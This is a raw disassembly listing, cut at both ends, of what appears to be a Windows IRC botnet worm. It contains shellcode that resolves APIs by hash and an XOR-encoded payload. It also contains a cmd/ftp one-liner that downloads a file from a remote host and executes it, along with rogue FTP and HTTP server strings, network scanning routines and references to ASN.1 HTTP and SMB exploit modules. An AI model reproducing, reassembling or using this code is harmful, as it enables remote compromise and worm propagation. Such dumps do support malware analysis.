fs:[edx] pop eax popa retn sub_41F064 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F089 proc near ; CODE XREF: sub_41EFC4+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_41F0A1: ; CODE XREF: sub_41F089+1Ej cmp [ecx], ebx jz short loc_41F0A9 mov ecx, [ecx] jmp short loc_41F0A1 ; --------------------------------------------------------------------------- loc_41F0A9: ; CODE XREF: sub_41F089+1Aj mov edx, edi loc_41F0AB: ; CODE XREF: sub_41F089+2Aj cmp [edx+4], ebx jz short loc_41F0B5 mov edx, [edx+4] jmp short loc_41F0AB ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41F089+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_41F089 endp ; =============== S U B R O U T I N E ======================================= sub_41F0C0 proc near ; CODE XREF: sub_41EFC4+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_41F0C0 endp ; =============== S U B R O U T I N E ======================================= sub_41F0D6 proc near ; CODE XREF: sub_41EFC4+16p ; sub_41EFC4+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_41F0EC: ; CODE XREF: sub_41F0D6+33j jecxz short loc_41F126 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_41F0F9: ; CODE XREF: sub_41F0D6+2Dj lodsb cmp al, ah jz short loc_41F105 ror edi, 0Dh add edi, eax jmp short loc_41F0F9 ; --------------------------------------------------------------------------- loc_41F105: ; CODE XREF: sub_41F0D6+26j cmp edi, [esp+20h+arg_0] jnz short loc_41F0EC mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_41F126: ; CODE XREF: sub_41F0D6:loc_41F0ECj ; sub_41F0D6:loc_41F126j jmp short loc_41F126 sub_41F0D6 endp ; --------------------------------------------------------------------------- dd 0 ; =============== S U B R O U T I N E ======================================= sub_41F12C proc near ; DATA XREF: sub_402B8D+30o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_41F17E mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_41F149: ; CODE XREF: sub_41F12C+38j jecxz short loc_41F179 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_41F154: ; CODE XREF: sub_41F12C+32j lodsb test al, al jz short loc_41F160 ror edx, 0Dh add edx, eax jmp short loc_41F154 ; --------------------------------------------------------------------------- loc_41F160: ; CODE XREF: sub_41F12C+2Bj cmp edx, [esp+arg_0] jnz short loc_41F149 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_41F179: ; CODE XREF: sub_41F12C:loc_41F149j mov [esp+arg_0], ebx retn sub_41F12C endp ; =============== S U B R O U T I N E ======================================= sub_41F17E proc near ; CODE XREF: sub_41F12C+7p ; FUNCTION CHUNK AT 0041F1B6 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_41F197 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_41F1A2 ; --------------------------------------------------------------------------- loc_41F197: ; CODE XREF: sub_41F17E+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_41F1A2: ; CODE XREF: sub_41F17E+14j pop edi xor esi, esi pusha push esi jmp short loc_41F1B6 sub_41F17E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F1A9 proc near ; CODE XREF: sub_41F17E:loc_41F1B6p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_41F1A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F17E loc_41F1B6: ; CODE XREF: sub_41F17E+29j call sub_41F1A9 loc_41F1BB: ; DATA XREF: sub_402333+1Bo ; seg000:00409B10o ... add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_41F17E ; --------------------------------------------------------------------------- db 3 dup(0) dword_41F1C0 dd 60h dword_41F1C4 dd 62B0606h, 2050501h, 0A0hdword_41F1D0 dd 30h ; seg002:0042342Co ... dword_41F1D4 dd 0A1h dword_41F1D8 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40238E+153o align 4 loc_41F1E4: ; DATA XREF: sub_40238E+E8o jmp short near ptr dword_41F1EC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_41F1EC dd 0 dword_41F1F0 dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_402B8D+55o db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h db 1Ah ; --------------------------------------------------------------------------- loc_41F27D: ; CODE XREF: seg002:0041F284j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_41F27D ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl ; --------------------------------------------------------------------------- dw 28CDh dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h dd 0D560h, 7A69h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40318D+5CDo aQuit db 'QUIT',0 ; DATA XREF: sub_40318D+5B9o ; seg000:004098B2o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40318D+5ACo align 4 dword_41F40C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40318D+561o dd 2029206Ch, 2BBBB02h aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.' db 0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40318D+542o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40318D+516o align 10h aRetr db 'RETR',0 ; DATA XREF: sub_40318D+4FEo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40318D+4E9o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40318D+4D8o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40318D+4A5o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40318D+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_40318D+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40318D+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_40318D+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40318D+3AFo align 4 aPasv db 'PASV',0 ; DATA XREF: sub_40318D+39Co align 10h a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40318D+38Co aI: ; DATA XREF: sub_40318D+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40318D+351o aA: ; DATA XREF: sub_40318D+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_40318D+326o ; sub_40318D+361o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40318D+316o align 4 off_41F5C8 dd offset dword_445750 ; DATA XREF: sub_40318D+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40318D+2F2o align 10h aRest db 'REST',0 ; DATA XREF: sub_40318D+2DEo align 4 a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_40318D+2CEo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40318D+2BAo align 10h a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40318D+2AAo align 4 aPass db 'PASS',0 ; DATA XREF: sub_40318D+296o align 10h a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40318D+286o align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_40318D+271o ; seg002:004231D8o ... align 10h aSS_1 db '%s %s',0 ; DATA XREF: sub_40318D+260o align 4 a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40318D+1D8o align 10h aRb db 'rb',0 ; DATA XREF: sub_40380D+24o ; seg000:00404AF0o ... align 4 unk_41F664 db 2 ; DATA XREF: sub_4038A7+3F8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 4 asc_41F6AC db 0Dh,0Ah,0 ; DATA XREF: sub_4038A7+2CFo align 10h asc_41F6B0: ; DATA XREF: sub_4038A7+293o ; seg000:00409438o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_4038A7+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00403DF8o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00403DD5o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: seg000:00403D99o ; sub_40799C+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:00403D85o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: seg000:loc_403D67o align 4 aTextHtml db 'text/html',0 ; DATA XREF: seg000:00403D60o align 10h unk_41F8D0 db 2 ; DATA XREF: seg000:00404113o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_41F91C db 2 ; DATA XREF: seg000:0040408Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_41F960: ; DATA XREF: seg000:00403FDBo ; seg002:00424E70o unicode 0, <*>,0 asc_41F964: ; DATA XREF: seg000:00403F7Fo ; sub_404134+29o dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: seg000:00403F6Eo ; sub_404134+4CAo align 10h aS_1 db '%s',0 ; DATA XREF: seg000:00403EBEo ; seg000:0040AA8Eo ... align 4 aS_2 db '\%s',0 ; DATA XREF: seg000:00403EB3o aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_404134+64Eo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_404134+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404134+589o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404134+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404134:loc_40464Co align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404134+511o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404134+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404134+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404134+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404134:loc_4044F6o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404134+3BBo align 4 aSS db '%s%s/',0 ; DATA XREF: sub_404134+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+330o ; sub_404134+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404134+30Eo align 10h aS_0 db '<%s>',0 ; DATA XREF: sub_404134+2E4o ; sub_404134+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404134+2BAo aAm db 'AM',0 ; DATA XREF: sub_404134+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_404134+284o align 10h a__0: ; DATA XREF: sub_404134+24Do unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_404134+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404134+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404134+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404134+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404134+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4048A1+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dd 4000500h, 7868746Bh, 0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundOn db ' File not found on %s, (%s).',0 align 4 db 0 db 5, 0, 1 db 46h ; F db 69h, 6Ch, 65h db 20h db 4Eh, 6Fh, 74h db 20h aFound db 'Found',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0 align 4 unk_41FF1C db 2 ; DATA XREF: seg000:00404B1Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0 align 4 unk_41FF6C db 2 ; DATA XREF: seg000:00404A2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_0 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: seg000:004049D1o align 10h aAsn1http_0 db 'asn1http',0 ; DATA XREF: sub_40550F+164o align 2 aAsn1http db 'asn1http',0 ; DATA XREF: sub_402B8D+1C8o align 4 dd 5 dup(0) dword_41FFE8 dd 50h ; seg000:0040BA75r ... off_41FFEC dd offset sub_402B8D ; DATA XREF: sub_40550F+1E6r dword_41FFF0 dd 0 ; sub_402B8D+202r ... dword_41FFF4 dd 1 dword_41FFF8 dd 1 aAsn1smb db 'asn1smb',0 dd 73610000h, 6D73316Eh, 62h, 5 dup(0) dd 1BDh, 402B8Dh, 0 dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 402B8Dh, 0 dd 2 dup(1), 0 aAsn1http_1 db 'asn1http',0 align 2 byte_420082 db 1 ; DATA XREF: seg000:loc_40D384r ; seg000:0040D38Eo aMsass db 'msass',0 align 4 dd 100h, 3 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_404EB9+81o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_404EB9+42o align 4 unk_4200BC db 2 ; DATA XREF: sub_404EB9+11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_4200F4 db 2 ; DATA XREF: sub_404F83+42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_420128 db 2 ; DATA XREF: sub_404F83+2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42015C db 2 ; DATA XREF: seg000:00405369o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_4201A4 db 2 ; DATA XREF: seg000:00405301o ; seg000:0040D8DAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_4201F4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:00405261o dd 2029206Ch, 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_420238 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:004051F4o dd 2029206Ch, 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42028C db 2 ; DATA XREF: seg000:00405143o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_1 db 'Failed to start server, error: <%d>.',0 align 4 unk_4202D4 db 2 ; DATA XREF: seg000:004050D5o ; seg000:0040D764o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4053D6+38o ; sub_407435+46o unk_420334 db 2 ; DATA XREF: sub_40550F+EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_420370 db 2 ; DATA XREF: sub_40550F+93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_4203C0 db 2 ; DATA XREF: sub_40550F+3E2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_420418 db 2 ; DATA XREF: sub_40550F+387o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_420468 db 2 ; DATA XREF: sub_40550F+317o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_4204B4 db 2 ; DATA XREF: sub_40550F+29Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 10h unk_420500 db 2 ; DATA XREF: sub_405982+156o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 10h unk_420550 db 2 ; DATA XREF: sub_405982+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 unk_4205A8 db 2 ; DATA XREF: sub_405B0A+1AAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 align 4 unk_4205FC db 2 ; DATA XREF: sub_405B0A+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 